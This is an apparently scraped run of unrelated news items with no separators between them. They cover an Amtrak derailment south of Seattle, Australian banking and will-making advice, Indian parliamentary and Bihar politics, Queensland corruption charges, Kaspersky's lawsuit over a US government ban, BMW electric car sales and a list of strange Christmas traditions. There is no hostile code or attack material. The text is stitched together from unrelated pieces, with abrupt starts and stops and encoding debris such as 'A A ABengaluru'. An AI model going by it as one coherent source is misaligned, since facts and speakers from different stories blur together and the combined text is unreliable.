By India Today Web Desk: Atleast three people were killed, dozens injured and two vehicles crushed as an Amtrak train derailed south of Seattle on Monday morning. The train was making its first-ever run on the new route.

According to investigators, the train was traveling at 80mph in a 30mph zone, the Associated Press reported.

Early morning commuters rushed to help the passengers of the train. Several injured people have been rushed to nearby hospitals.

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In a statement, the FBI said local police were the primary respondents and there was no information suggesting "an elevated risk to Washington residents."

This was the first time the train was running on this route which was part of the USD 180.7 million project designed to speed up transportation by removing passenger trains from a route along Puget Sound.

Photos from the accident spot:

Rescue personnel and equipment are seen at the scene of the derailment (Photo: Reuters) Rescue personnel and equipment are seen at the scene of the derailment (Photo: Reuters)

(Photo: Reuters)

Parts of the derailed Amtrak train (Photo: Reuters)

A volunteer carries out a box of supplies following the derailment (Photo: AP)

First responders work at the scene of the Amtrak train's derailment (Photo: AP)

A semi-truck with visible damage to its hood sits parked on the shoulder just ahead of a car covered in mud and debris and with a smashed windshield just beyond where the Amtrak derailment happened. (Photo: AP)

Police officials stand at the back of where the train derailed. (Photo: AP)

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Banks have vowed to make it easier for customers to cancel their credit cards, they will stop charging statement fees, and borrowers will be alerted when their interest-free period is about to end, as part of a new code of conduct.

The Australian Bankers' Association will on Wednesday unveil a swag of changes intended to put a greater focus on ethical behaviour in an industry that has copped a backlash from government.

Banks will allow customers to cancel a credit card online under the new code of conduct.

Changes in the code include a commitment to allow customers to close a credit card online, rather than needing to do so in a branch or over the phone.

Banks also say they will waive or refund statement fees for customers without access to electronic statements, and remind customers when a credit card's interest-free period is about to end.
For six weeks, three-year-old Ivy Exantus was kept alive by blood donations from six dedicated strangers.

Their precious platelets - almost an exact match to her own - were flown from collection points across Australia to Sydney Children's Hospital, where Ivy's family were preparing for a bone marrow transplant donated by her six-year-old donor brother, Jaye.

The wait for the first urgent bag of platelets, the clotting component of blood, was the most anxiety-inducing, Ivy's mother Kimberley Exantus said.

Ivy was diagnosed with Fanconi anaemia after she didn't bounce back from a playground bug in April. Her blood tests showed she was dangerously low in haemoglobin and platelets, the clotting agent in blood.
Exercise could help to make your fat tissue healthier, which is a good thing. According to a timely new study, a single session of exercise may change the molecular workings of fat tissue in ways that, over time, should improve metabolic health.

This finding has particular relevance during the holidays, when, despite our best intentions, so many of us add to our fat stores. Exercise might make these annual bacchanals less metabolically damaging than otherwise.

We tend to add to our fat stores during the holiday season, but exercising can minimise the damage of overindulging. Credit:Studio Firma

Most of us probably think of our fat tissue as inert and undesirable. But our fat is, in fact, a busy and necessary tissue, producing and sending out multiple biochemical signals that affect biological operations throughout the body.

Fat tissue's most important responsibility is to securely store fat, and we should hope that it performs this function well. Provocative recent research in both animals and people has found that, if a person's or animal's fat tissue is relatively leaky, allowing fatty acids to ooze into the bloodstream, roving fat blobs can accumulate in other tissues, particularly the muscles and liver. Once there, they contribute to the development of insulin resistance, a serious metabolic condition that often leads to diabetes.
New wills are top of the "to-do list" for the new year. Briscoe had one that was 20 years old, while Bo doesn't have one. Briscoe, who works as a production manager, owned a flat before she met Bo and had asked about updating her will to ensure her partner would inherit. Instead, they've sold the property and plan to buy a place together. She and Bo have already put in place some legal protection for each other in recent months, combining finances and setting up binding nominations for their superannuation accounts. Hacker says binding death nominations, which are separate to a will, usually last for three years before they have to be renewed. Some funds can be invalidated by marriage. De facto protection

Hacker says is also important for couples in de facto relationships to make a will and estate plan that includes a power of attorney. Sometimes those in de facto relationships can be treated unfairly if one partner dies or is critically ill or injured in the absence of a will and estate plan, she says. A partner in a de facto relationship may not be considered next of kin and not included on the death certificate or allowed to make medical decisions on behalf of their partner, she says. That may lead to situations where friends of the couple are asked to sign affidavits stating that they believe the couple were de facto, or the surviving member of the relationship being required to make public details about the relationship that are private or personal. Hacker says marriage automatically invokes these rights.

Briscoe says it's a huge relief to know that marriage will simplify the next-of-kin rights for health care and end-of-life decisions. "Obviously there's a massive symbolic significance to the marriage, but it's also the straightforwardness of the legal situation," Briscoe says. DIY will kits It can be tempting to save on legal fees and use a DIY will kit, such as those available from newsagencies or the internet. However, that could be a false economy. Those with blended families, in particular, are likely to find paying a lawyer to draw up a will well worth the money.

"The courts are littered with examples of do-it-yourself wills that have gone wrong", says Brian Hor, special counsel, superannuation and estate planning at Townsends Business and Corporate Lawyers. "Unless you are a specialist estate planning lawyer, there is a high probability you will get it wrong  and simply end up imposing unwarranted anxiety and frustration and legal expense upon your loved ones at the worst possible time for them." Update will Stephen Hardy, national manager of estate planning at Equity Trustees, says it is important not just to create a will, but to keep it up to date.

The consequences of putting the will in the bottom drawer and forgetting about it can mean more problems than not having a will at all. For example, in the breakdown of a marriage in most states even when a divorce is finalised, it does not mean the will is necessarily revoked. "If a will has not changed to acknowledge this, then there is the possibility of the former partner having a legal say in how the will is administered," he says. Hardy knows of cases where marriages have ended acrimoniously and the will has not been changed to reflect this bitter breakdown, with the estranged partner still being the executor and sole beneficiary of the will. Changes to family structure

Hardy says changes to the structure of a family, and changing dependants, will often require a will to be changed. "The birth of new grandchildren, arrival of stepchildren or half-siblings could require a rewording of a will to ensure everyone is treated appropriately," he says. Hardy says, in his experience, it's often when a will doesn't get changed to reflect new family circumstances that there can be costly court cases where aggrieved parties feel they have been poorly treated. Give particular thought about whom to make executor of the will. People often nominate their spouse or a trusted friend who is of roughly the same age, but consider if it will remain feasible as you get older. Michael Tiyce, a lawyer and principal of Tiyce & Lawyers, says wills should be reviewed about every five years  earlier if there is a major change in family or financial circumstances.

Binding agreements Binding financial agreements, also known as prenuptial agreements, are more watertight than they used to be due to court decisions and prenups' increasing popularity, Tiyce says. Prenups can be drawn up during the course of a relationship, not just at the start. Under the law, if a couple lives together for just two years their financial assets can be divided the same way as if they had been married for decades. Tiyce says binding financial agreements appeal to those who are in their second or third marriage, especially where they are bringing assets into the marriage.
Outgoing Anglican bishop Stuart Robinson has listed a secular society without an understanding of Christianity and Jesus as the greatest challenge facing people of his faith.

Describing recent same-sex marriage legislation as "as balanced as it can be", the bishop of Canberra and Goulburn said he was keen to impress upon his successor the importance of addressing a secular Australia, urging Christians to "present as credible, rational, faith-filled people who have got a great story to tell".

Bishop Stuart Robinson is resigning from Anglican diocese of Canberra and Goulburn after 10 years in the role. Credit:Jamila Toderas

"[Building a relationship with secular society is] achieved through individual Christian people being clear in their faith, by offering consistent witness to their faith, speaking about their faith and getting involved in local communities and making a difference, so people say 'Oh, those Christians really are trustworthy and true'," Bishop Robinson said.

Bishop Robinson will leave the diocese in March for Vaucluse in Sydney.
Deaths from cancer and cardiovascular disease have doubled among people with mental illness over the past two decades, according to new research from the Australian National University.

Analysis of 20 years of Danish medical and hospital data found that while suicide, accidents including car crashes, and homicide were major contributing factors in the 10-year life expectancy gap, those causes of death had seen some decline.

But ANU School of Demography associate professor Vladimir Canudas-Romo said he was surprised to see the gap in years lost between people with and without mental disorders had increased for deaths due to cancer and cardiovascular disease.

There was also a marked increase in the number of alcohol-related deaths, he said.

"Overall the mortality gap has stayed the same, but the causes of death have changed," Dr Canudas-Romo said.
We have another story from our public service reporters Tom McIlroy and Doug Dingwall, who report that the Australian Tax Office has lots 4600 staff in four years, according to agency annual reports.

Labor's acting shadow Assistant Treasurer Matt Thistlethwaite said the cuts had made life harder for the office's remaining staff.

Mr Thistlethwaite said the job cuts coincided not only with multiple web outages, but also billions of dollars in consultancy fees.

An ATO spokeswoman said it managed cuts to prevent any impact on revenue collections or service delivery, and had maintained balanced workloads for staff.

Read the story here.
Canberra city's urban marketing body has asked the ACT government for $300,000 to wind up its business activities.

In the City Canberra - a non-profit government organisation responsible for promoting and improving urban areas around Civic, Braddon and Turner - is set to cease business activities at the end of the year.

The ACT government has transferred funding from In The City Canberra to the City Renewal Authority. Credit:Richard Briggs

The newly-created City Renewal Authority will take over responsibility for the administration of funds collected under the City Centre Marketing and Improvements levy from January 1.

Inner-city commercial property owners are levied to fund In the City's activities, contributing about $2.15 million in 2016-17.
On the face of it Education Minister Simon Birmingham's attempt to justify an estimated $2.2 billion in funding cuts to universities by citing the prodigious amounts they have spent on advertising, self-promotion and other "brand-building" activities in recent years appears to have merit.

The cuts are being snuck in the back door as part of the mid-year budget update through a two-year freeze on university funding.

From 2020, when the freeze is due to end, universities will apparently be funded on the basis of outcomes. Course completion rates, student satisfaction ratings and employment results are all in contention as possible KPI's.

Senator Birmingham has followed a well-worn path by suggesting the universities have misspent the money they have been given in the past and, as a result, now need to do more with less.
Sonoma's Craig Donovan said someone suggested that they move into the spot left vacant when Autolyse closed in January 2017 , and they jumped at the chance.

Known for their slow-fermented sourdough, the Sydney bakery has been supplying to a number of Canberra businesses for years, but this will be the first time they bake in Canberra, and it will be their first cafe outside of Sydney.

The Autolyse-shaped hole left on Lonsdale Street is going to be filled with even more bread by none other than Sonoma Bakery.

"We're servicing a lot of stores in the Canberra area at the moment and up around through Bowral. And the opportunity came up with that site in Braddon and we thought to ourselves, just with the timing and with our attitude of trying to get a fresher product closer to our customers - we wanted to cut out that three hour drive between here and Canberra," he said.

"There's a lot of great really great artisan producers in Canberra which we've always loved and tapped into. We've always thought we'd love to get closer to that catchment."

The bakery will take up most of the space, incorporating a giant oven which is currently on its way from Europe. It will service both wholesale orders plus a large cafe with indoor and outdoor seating. There will also be a coffee focussed 'brew bar' at the back, serving coffee roasted by Sonoma.

Like their other venues, the cafe will sell Sonoma's signature range of breads, pastries, sandwiches, pizza slices and sourdough-focussed plated meals. The Canberra cafe will also serve a new range of French-influenced pies, which aren't currently available elsewhere.

The giant glass displays out the front will be large enough for trays to be taken straight from the oven and put directly into the cabinet. And as opposed to getting the baking done first thing in the morning, bread and products will be baked throughout the day, so there will always be something fresh out of the oven.
By Amitabh Srivastava: Though the JDU performed miserably in the Gujarat Assembly elections, having lost all the 38 seats it had contested in the Western State, the overall results are a reason to comfort Bihar Chief Minister Nitish Kumar's party.

The BJP may have won Gujarat polls, but the fact that it has barely scraped through with a reduced tally of 99 seats, has an assuring effect on the saffron party's partner in Bihar. A section of JD-U leaders in Patna privately argue that the saffron party will now be all the more amenable to JD-U in Bihar.

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"Their reduced tally in a state that's considered the saffron citadel will make the BJP realize why they need Nitish Kumar in Bihar to score well in future Lok Sabha and Assembly elections. It will only increase our bargaining power," said a senior JD-U leader.

The assumption holds crucial significance, as of the 40 Lok Sabha seats in Bihar, the BJP and its allies already had 31 sitting MPs before Nitish Kumar joined them in July this year. No wonder, there are intense speculations about how BJP will accommodate Nitish Kumar and its other allies in the upcoming General Election.

In 2014, the BJP led NDA (BJP-22 seats, Ram Vilas Paswan's LJP 6 and Upendra Kushwaha's RLSP 3) had bagged 31 Lok Sabha seats from Bihar. On the other hand, Lalu Prasad's RJD had won 4, while Congress and JD-U bagged 2 each. The NCP had won one seat.

Besides its allies, the BJP in 2019 Lok Sabha polls will be under pressure to leave a few seats for Jitan Ram Manjhi's HAM (secular), a party that did not exist when General Elections were last held in 2014. But the JD-U leaders now expect the BJP to cut down on their sitting Lok Sabha seats to accommodate candidates from the Nitish Kumar's party, as Bihar Chief Minister, given his tall stature, cannot accept an insignificant share of seats.

The JD-U's perceived claim for higher share of Lok Sabha seats from Bihar also gains traction in the backdrop of poor showing of LJP, RLSP and HAM in the 2015 assembly polls when Nitish Kumar's led grand alliance had a massive victory in Bihar. Now, with the Gujarat election results, where the BJP won but by a reduced margin, the JDU hopes that their strength to bargain hard for a respectable number of seats in the Lok Sabha polls has increased." The BJP cannot afford to contest Bihar without having Nitish on its side," a JDU leader said. A top BJP leader in Bihar has also admitted that the Party was ready to drop a few sitting NDA MPs to accommodate Nitish Kumar's candidates. JDU leaders also argue that BJP's moderate performance in Gujarat assembly poll will make the saffron leadership see Bihar in "proper prospective."

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Incidentally, BJP in its latest alliance with JD-U has been seen as more assertive than what it was when Nitish had an alliance with them from 1996 to 2013.

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Former NSW deputy premier Troy Grant was advised in May last year to make public "as soon as possible" a landmark gambling harm report that recommends banning a controversial poker machine feature that was the subject of a Federal Court battle involving billionaire James Packer's casino company Crown.

But the NSW government sat on the report until October this year  almost two years after it was delivered  despite inquiries from its lead author, University of Sydney gambling researcher Professor Alex Blaszczynski, who "expressed frustration" at the delay.

The revelations are contained in emails and briefing notes released to Fairfax Media under government information access laws.

In October Gaming Minister Paul Toole finally released the report by the University of Sydney gambling treatment clinic, commissioned in 2013 at a cost of $263,000 and handed to the government in December 2015.
Dozens of people have been charged with almost 200 drug-related offences after an eight-month police operation targetting the supply of dangerous drugs in south-east Queensland.

Operation Papa Checkmate saw almost 50 people arrested and charged with almost 200 drug-related offences. Credit:Queensland Police Service

The investigation led to detectives searching properties in Brisbane and the Gold Coast, seizing ecstasy pills and powder, cannabis, cocaine, acid (drug), cash and suspected tainted property.

Police have charged 49 people with 199 drug-related offences during the course of the operation.

Among the latest arrests was a 21-year-old Mount Cotton man who faces sixteen charges including trafficking, supplying and possessing dangerous drugs.
A total of four people, including a firefighter and fire inspector, have now been charged with corruption as an investigation led by Queensland's corruption watchdog wraps up.

In the latest charges, a Gold Coast fire station officer and two businessmen were charged with the Crime and Corruption Commision, after allegedly being involved in corrupt procurement practices.

A Queensland fire inspector and station officer have been charged with corruption after a CCC-led investigation. Credit:Paul Jeffers

The charges come as a result of a CCC-led investigation with the Queensland Police Service Financial and Cyber Crime Group and Queensland Fire and Emergency Services Ethical Standards Unit.

The 56-year-old Runaway Bay firefighter was charged with two counts of official corruption and two counts of money laundering on December 11 and has since been suspended by the fire service.
Queensland's suspended chief scientist has been slapped with additional charges by the state's corruption watchdog.

Professor Suzanne Miller was on Tuesday issued with a notice to appear in the Brisbane Magistrates Court next year on 31 counts of fraud.

The charges relate to allegations the 52-year-old used a state government corporate card to buy more than $30,000 worth of items for her own use.

Miller was suspended on full pay earlier this year after she was charged with a separate fraud offence in July.
A scuba diver who was pulled from a Sunshine Coast dive site unconscious has been airlifted to a Brisbane hospital in a stable condition.

The 47-year-old Sydney man suffered a seizure as he was ascending from an 18 metre dive at Ex-HMAS Brisbane marine park near Mooloolaba about 10.40am, Queensland Ambulance Service Sunshine Coast operations supervisor Lorenz Kleinberg said.

The incident occured while he was diving with dive school Scuba World.

The company had performed safety stops on ascent, the last one being at five metres," Mr Kleinberg said.
In all my years of teaching, there is one cartoon I've always identified with.

In one frame, supposedly from 1969, a mother and father demand their child explain their test results.

A survey of 8500 educators across Australia showed that 50% of the responders prepared students for NAPLAN. Credit:Pat Scala

In the second frame, this time from 2017, the mother and father demand the child's teacher explain their test results.

This cartoon always comes to mind when NAPLAN results are rolled out across the country, and last week thousands of WA primary school kids were sent home a copy of their results.
Deputy Prime Minister Barnaby Joyce has denied "payback" motivated his cabinet decisions as the infighting in the Nationals continues to overshadow Malcolm Turnbull's ministerial reset.

Tuesday's reshuffle saw five people appointed to the 23-member cabinet, including rookie Queensland federal MPs David Littleproud and John McVeigh, in a move designed to woo voters in the key battleground state.

But the rapid promotion of Mr Littleproud and Mr McVeigh, who were both elected for the first time just 18 months ago, came at the expense of the now-former infrastructure minister Darren Chester and assistant minister for trade Keith Pitt.

The ministerial rearrangement has infuriated some Nationals MPs, who accused Mr Joyce of taking revenge on Mr Chester for supporting Bridget McKenzie in her successful bid to become the Nationals deputy leader.
Here are a few topics that were pulled up at the Rajya Sabha during Day 3 of the Winter Session today.

By India Today Web Desk, India Today Web Desk: Parliament saw its third sitting of the Winter Session today, after the Lok Sabha and Rajya Sabha had to be adjourned yesterday as Congress leaders protested in both the Houses.

The winter session began on Friday, and will end on January 5, after a set of 14 sittings.

Here are a few topics that were pulled up during the session:

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DRUG ADDICTION

The first question taken up at the session was drug addiction. After some sloganeering from one section of Opposition demanding PM Modi's apology for his comments about Manmohan Singh, Social Justice and Empowerment Minister Thaawar Chand Gehlot answered the Member's question.

Gehlot was asked whether the number of drug addicts in the country has gone up, and in case that case, what are the "more stringent action" that the government plans to take.

He was also asked about opening more rehabilitation centres for the drug addicts, and the government's stand on helping out different states in this regard.

ARTICLE 14

Samajwadi Party leader Naresh Agrawal raised the issue regarding Article 14, which states that all are equal in the eyes of the law.

Speaking in its favour, Congress leader Anand Sharma said, "If you single out only elected representatives, this affects public perception. It has an inherent potential to be abused in entirety by the government of the day."

Finance Minister Arun Jaitley responded to the issue with a rhetorical question stating that as "lawmakers", they "have a vested interest in saying our cases should be delayed".

AADHAAR

Trinamool Congress leader Sukhendu Sekhar Roy raised the issue of security of the Aadhaar database.

"To ensure that the fundamental right of privacy is protected, it is incumbent upon the government to enact legislation to secure and ensure the safety of the database, and till then Aadhaar card should not be mandatory," said Roy.

CYCLONE OCKHI

CPI leader D Raja took the time to discuss the damage caused by Cyclone Ockhi in Kerala and elsewhere.

"The farming community in the coastal belt stands thoroughly devastated. I ask the government, 'Why can't you declare this as a national disaster? What is preventing this?'" he said.

CPI(M) leader KK Ragesh spoke on the same issue, but about the damages caused to Kerala specifically.

PM MODI's COMMENTS ON MANMOHAN SINGH

Congress leader Ghulam Nabi Azad took the stage to address PM Modi's comments about Manmohan Singh, saying that the former prime minister's integrity and loyalty to the country has been questioned," said

After much sloganeering, the speaker of the House asked the two sides to "sort this issue out".

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Since the government has waved off any chance of an apology and the Opposition refuses to back down without one, Finance Minister Arun Jaitley met Azad to discuss the stalemate.

"We will try and explore a solution out of that. We will try and do it today," said Jaitley said.

GST

Questions on GST saw crossfires again at the Rajya Sabha as P Chidambaram and Arun Jaitley questioned/answered each other about revenue collected since the introduction of GST.

"What prevents the government from moving the GST Council to decide on the slab for petroleum products under GST?" asked Chidambaram, to which Jaitley shot back that the UPA's draft on GST "did not include petroleum".

"The UPA's draft on GST did not include petroleum. Now that you are in Opposition, you have a far greater flexibility in reversing your position," said Jaitley.

"The States have reluctantly agreed to include petroleum. The deal with the states was that petroleum will be brought within the GST in the Constitutional Amendment was concerned, but it is only when the states decide and agree upon it will petroleum be brought into the GST. The Centre is in favour of bringing petroleum under GST," he added.

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THE COMPANIES (AMENDMENT) BILL

The Companies (Amendment) Bill, 2017 was passed at the Rajya Sabha today, which seeks to bring amendments in the Companies Act, 2013.

"Eventually, we must have a separate law for small and medium companies and have a comprehensive Companies Act only for large companies," said P Chidambaram.

Also, Law Minister Ravi Shankar Prasad spoke about the introduction of the Repealing and Amending (Second) Bill, 2017.

"One of the things that the Law Minister could do is that at least for appropriations there could be an automatic sunset clause," said BJD MP Pinaki Misra about the bill.

Meanwhile, HRD Minister Prakash Javadekar tried to draw some attention to the IIM Bill.

"The IIM Bill proposes to give the IIMs university status, and governmental interference in the institutes will stop," said Javadekar.

Apart from these, the members of Parliament also discussed minimum support price (MSP), anti-terror measures, contamination in the Brahmaputra river, compensation for farmers, scholarship for SC/ST students, etc.

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Its a new chapter for this old center!

Red Hook residents and local leaders on Dec. 15 snipped the ribbon to celebrate the long-awaited opening of the neighborhoods W. Ninth Street senior center, giving oldsters a new space to mingle after its predecessor was destroyed by superstorm Sandy more than five years ago, according to the tenant association president at public-housing complex Red Hook East Houses.

Im looking forward to the new things that come into that senior center, said Frances Brown. It is a new beginning.

But Red Hooks oldsters wont officially be able to pick up a game of bingo or mahjong, sweat it out during exercise classes, or feast on a meal  programs provided through the citys Department of Aging  until early next year, Mayor DeBlasio announced during a town hall for the district on Dec. 14.

Its beautiful, and will be open for good in January, so were really excited about that, Hizzoner said during the meeting with Councilman Carlos Menchacas (DRed Hook) constituents.

Thumbs up!: Councilman Carlos Menchaca and Mayor DeBlasio chat with constituents during Thursday nights Town Hall, when they announced the long-awaited opening of the Red Hook senior center. Photo by Caleb Caldwell

The devastating 2012 storm ripped through the seniors previous digs in the basement of a Wolcott Street building, forcing them to congregate, chat, and play games in a nearby community centers ground floor instead.

The New York City Housing Authority sought out the new place near Clinton Street  a shuttered day-care center  for the oldsters, and started revamping it with $5.7 million in combined federal and city cash, which paid for an entirely new heating and cooling system, kitchen, and gussied-up bathrooms, according to a spokeswoman for the city agency, who couldnt confirm the exact day next month the center will officially welcome elders.

Construction was supposed to wrap on the center back in 2015, but the city hit several roadblocks that resulted in more than two-years worth of delays, causing much frustration in the community, according to Menchacas office.

But faced with adversity, the neighborhood came together, and now gets to celebrate the fresh space, the housing authoritys head honcho said during the ribbon-cutting ceremony.

Five years ago, superstorm Sandy devastated this community, but we responded by coming together to rebuild stronger, said Shola Olatoye. Today, I am delighted to stand with residents and electeds to open the new Red Hook Community Center, which will soon become a cornerstone for public-housing residents.

Talking housing: New York City Housing Authoritys chairwoman Shola Olatoye answers a question about Red Hooks public housing complex. Photo by Caleb Caldwell
Moscow-based security software maker Kaspersky Lab said on Monday it has asked a U.S. federal court to overturn a Trump administration ban on use of its products in government networks, saying the move deprived the company of due process.

The Department of Homeland Security (DHS) in September issued a directive ordering civilian government agencies to remove Kaspersky software from their networks within 90 days. It came amid mounting concern among U.S. officials that the software could enable Russian espionage and threaten national security.

The appeal is part of an ongoing campaign by Kaspersky to refute allegations the company is vulnerable to Kremlin influence. The company has repeatedly denied it has ties to any government and said it would not help a government with cyber espionage.

"DHS has harmed Kaspersky Labs reputation and its commercial operations without any evidence of wrongdoing by the company," the company's founder, Eugene Kaspersky, said in an open letter to the Homeland Security agency published on Monday.

The department did not respond to requests for comment.

The lawsuit alleges that the government largely relied on uncorroborated news media reports as evidence in a review of Kaspersky software. It asks the court to overturn the ban and also declare that the Russian company's products do not pose a security threat to U.S. government computers.

The value of Kaspersky's software sales to the U.S. government totaled less than $54,000, or about 0.03 percent of its U.S. subsidiary's sales in the United States, according to the complaint.

Still, the allegations about the software have hurt its much bigger consumer software business, prompting retailers such as Best Buy Co to pull Kaspersky products.

Kaspersky said in October that it would submit the source code of its software and future updates for inspection by independent parties. U.S. officials have said that step, while welcome, would not be sufficient.

The September DHS order applied only to civilian government agencies and not the Pentagon. U.S. intelligence agencies said earlier this year that Kaspersky products were already generally not allowed on military networks. (Reuters)

Source: www.businessworld.ie
BMW said on Monday it had hit its target of selling 100,000 electric cars this year around the world, benefiting from strong demand in western Europe and the United States for models such as the i3 and the 2-series plug-in hybrid Active Tourer.

This is more than 60% up from the 62,255 electric cars BMW sold last year. The German luxury carmaker has said it expects 2018 electric-vehicle (EV) sales to grow by a medium two-digit percentages.

A pioneer in electric cars, BMW launched the i3 hatchback in 2013 but sales have been relatively low and management has wrestled with whether to go all-out for electrification.

But that changed in September when the Munich-based group said it would gear up for mass production of electric cars and aimed to have 12 fully electric models by 2025 with a range of up to 700 kilometers.

"Electric mobility is the indicator where I measure our success," Chief Executive Harald Krueger said.

Earlier on Monday, U.S. EV battery company Solid Power said it had partnered with BMW to develop the next-generation solid-state battery technology for use in electric cars. (Reuters)

Source: www.businessworld.ie
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Our Promise: Welcome to Care2, the world's largest community for good. Here, you'll find over 45 million like-minded people working towards progress, kindness, and lasting impact.

Care2 Stands Against: bigots, racists, bullies, science deniers, misogynists, gun lobbyists, xenophobes, the willfully ignorant, animal abusers, frackers, and other mean people. If you find yourself aligning with any of those folks, you can move along, nothing to see here.

Care2 Stands With: humanitarians, animal lovers, feminists, rabble-rousers, nature-buffs, creatives, the naturally curious, and people who really love to do the right thing.

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By PTI, PTI: A A ABengaluru, Dec 19 (PTI) Early-stage venture capitalAfund YourNest today announced it has successfully participatedAin a round of fundraising for KaHa, a Singapore-based consumerAIoT company.

"Along with other strategic investors, a total of USD 4.5 million is invested in KaHa, which will help drive the IoT company?s expansion plans," the company said in a statement here. Funding was led by Metals International with theA participation of Jungle Ventures, SPRING SEEDS Capital,A Singapore, and existing investor YourNest. KaHa is focussing on further growing its leadershipA position by opening an innovation centre in Geneva,which will be one of the biggest innovation centres for watches, it said. The company also announced a partnership with Titan. KaHa provides IoT platform and solutions for smart wearablesAand watches, the statement said. Recently Titan launched its first offering on KaHaA platform, the "Titan WE" smartwatches for woman, it said. KaHa provides fully-customisable, end-to-end smart wearables IoT solutions that can be plugged into any stage of the value chain, it said. Their products include electronics design, PCBA, anA application framework for iOS and Android, cloud services,A data analytics and smart after sales service tools - allowingA companies to incorporate the latest technology withoutA breaking the bank. KaHa has also partnered with MHA Geneva, a Swiss luxury accessories manufacturer with more than 110 years history, to enter European market for further business expansion, it said. KaHa, founded in 2015, has offices in Singapore,A Bengaluru, Shenzhen and Switzerland. PTI BDN RA APR APR

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Lets face it: Holiday traditions are weird. We bring trees inside, encourage kids to sit on strangers laps, and get excited about a fat man in a suit breaking in on Christmas Eve. And lets not even get into the Elf on a Shelf idea. But if you think the traditions celebrated in the United States are strange, the ways people celebrate around the world will blow your mind. Check out some of these bizarre ideas and see if you can figure out in which country they originate.

First: Where do citizens set fire to a goat effigy?

1. Sweden: Oh Christmas goat, oh (flaming) Christmas goat

In Sweden, Santa Claus did not always ride in style with eight tiny reindeer. Residents of that country believes he once rode a festive Christmas goat. So, in 1966, the town of Gavle decided to erect a giant Yule goat. Well, the huge, straw goat proved too tempting for some local revelers, who burned it down on New Years Eve. Despite posting guards, installing security cameras, and making the goat out of less flammable materials, the goat statues have gotten torched 35 out of 50 Christmases.

Next: Where do naughty kids get disemboweled?

2. Germany and Austria: Frau Perchta comes for the bad kids

In Germany and Austria, a witch named Frau Perchta hands out small gifts to good kids and punishments to the bad during the 12 days of Christmas. Frau Perchta looks like a witch with an animal face and a long robe. If she finds a child who has been well-behaved, then she may feel inclined to leave him a small gift. If she discovers a naughty child, then she gets out her knife. For such infractions as not spinning enough straw, working on the holiday, or not celebrating enough, she will rip out your organs, replace them with garbage, and serve you up for that nights feast. Talk about feeling stuffed after dinner.

Unless children want to fall prey to Perchta, they should leave out milk or porridge for the creature. This could have sparked the American tradition of leaving out milk and cookies for Santa Claus.

Next: Where did the tradition of hanging stockings by the chimney come from?

3. Italy: La Befana drinks wine and leaves coal for bad kids

In Italy, children fear the Christmas witch La Befana. According to legend, on the night of Jan. 5, La Befana comes down the chimney and judges all the children. Expecting her visit, the children all leave socks attached to the mantle. She fills the good kids socks with goodies, and the bad kids socks with coal. While her origin story varies, the most popular one states that Befana gave the Three Kings directions to the Baby Jesus, and decline their invitation to join them. She later thought better of it, but never caught up to the trio. Now, she flies her broomstick around on the eve of the Epiphany, still seeking the child.

Much like Santa Claus, families leave La Befana food and drink to sustain her. The food varies regionally, but every family leaves her a glass of wine, making La Befana the classiest of Christmas characters, so far.

Next: Where does a raggedy man literally whip kids into shape?

4. Pennsylvania, by way of Germany: Belsnickel scares children

According to The Morning Call, the raggedy-dressed Belsnickel visits Pennsylvania Dutch children a few days before Christmas. He tosses candy and nuts on the ground to tempt children, while calling on each one to recite a poem, Bible verse, or Math equation. Greedy kids who dive for the candy might get swatted with the switch he carries, and good ones get rewarded with a handful of treats. The Belsnickel exists to warn children they still have time to shape up for Christmas, and in modern times, the switch exists as just a threat.

Originating in German and Rhine traditions, the name Belsnickel comes from the German belzen (meaning to wallop) and nickel for St. Nicholas. Fans of The Office might remember The Offices version, too.

Next: Where does an old hag and her cat eat the poor kids?

5. Iceland: Gryla and the Yule cat keep workers in shape

In Iceland, a cannibalistic, horrifying giantess named Gryla and her Yule cat stalk children during the Christmas season. According to Smithsonian Magazine, Gryla stuffs naughty kids into her sack for eating later. As if that wasnt bad enough, her Yule cat, Jolakotturinn, looks for kids not wearing new clothes. The fashion critic eats poor kids who dont have new clothes, legend says. In that country, kids who have finished all of their clothing before Christmas get new duds, but lazy children do not.

Next: Which countrys Nativity set features a defecating kid?

6. Spain: The Caganer defecates all over Christmas

In Barcelona, the Caganer represents a unique addition to the Nativity scene. The BBC reports that Catalan Christmas displays feature a little figurine, usually hidden off to the side, with his pants down. Dating back at least two centuries, the Caganer represents fertility and a good harvest. The Caganer never goes in the front  that would be disrespectful. But buying a Caganer in the shape of a public figure like Prince Charles, Spider-Man, SpongeBob SquarePants, or even Donald Trump can be considered high praise by some households. Legend has it, the original little shepherd boy had no other gift to give the Baby Jesus, so he fertilized the ground as his gift. These days, your presence is a better present than that one.

Next: Where do the Yule Lads wreak havoc?

7. Iceland: The Yule Lads leave treats  but not always sweet ones

Not only do Icelandic children deal with the Gryla, but they have 13 Father Christmases to please. Smithsonian Magazine explains that the Yule Lads, merry but mischievous little guys, take turns visiting kids on the 13 nights leading up to Christmas. Children place their shoes on the windowsill in anticipation of their visit. Good children get treats, but bad ones get rotting potatoes. Today, the tradition is mostly fun and games, but it wasnt always. In 1746, the government banned parents from torturing their kids with monster stories about the creatures, but today, their tricks seem mostly harmless.

Next: Where do people grab an old sheet and a skull to participate in this tradition?

8. Wales: Mari Lwyd looks scary, but sounds like fun

Mari Lwyd, which means gray mare in English, involves a skull, an old bed sheet, and songs. In Wales, the pagan holdover custom involves the arrival of a horse and attendees at the door of a house or pub, where they sing several verses of an introductory song. A battle of wits (or a pwnco) ensues, which involves the party outside and the people inside exchanging verse, insults, and other creative parries as long as both can hold out. When one falters, the Mari enters the house and brings luck for the New Year. Supposedly, the Mari scares away any bad spirits for the year ahead, and often gets quite feisty with those inside the house.

Next: Which culture celebrates with a pooping log?

9. Catalonia, Spain: Caga Tio literally poops out treats

In Catalonia, Caga Tio or Tio de Nadal brings presents for Christmas, the same way Santa Claus brings them in the U.S. According to Atlas Obscura, children feed the log starting on Dec. 8, and it grows each day, covering it with a little blanket to keep it warm. On Christmas Eve, the children beat the log with sticks, singing traditional songs encouraging it to defecate treats instead of stinky, well, other stuff. After the log is sufficiently whipped, the family reaches under the blanket to retrieve the presents. In Spain, its a good thing if Christmas goes to s**t.

Next: Where does this demonic creature steal away wicked children?

10. Germany: Krampus beats bad kids and steals them away

Although the tradition of Krampus has now spread worldwide, it all started in Germany centuries ago. As National Geographic explains, Krampus began as a counterpart to the kind, generous Saint Nicholas, and would swat bad children away. Folklore dictates that Krampus shows up the night before Dec. 6, or Krampus Night, also the night before St. Nicholas Day. Kids leave out their shoes for the good Saint to leave treats, or for Krampus to leave a rod for bad behavior.

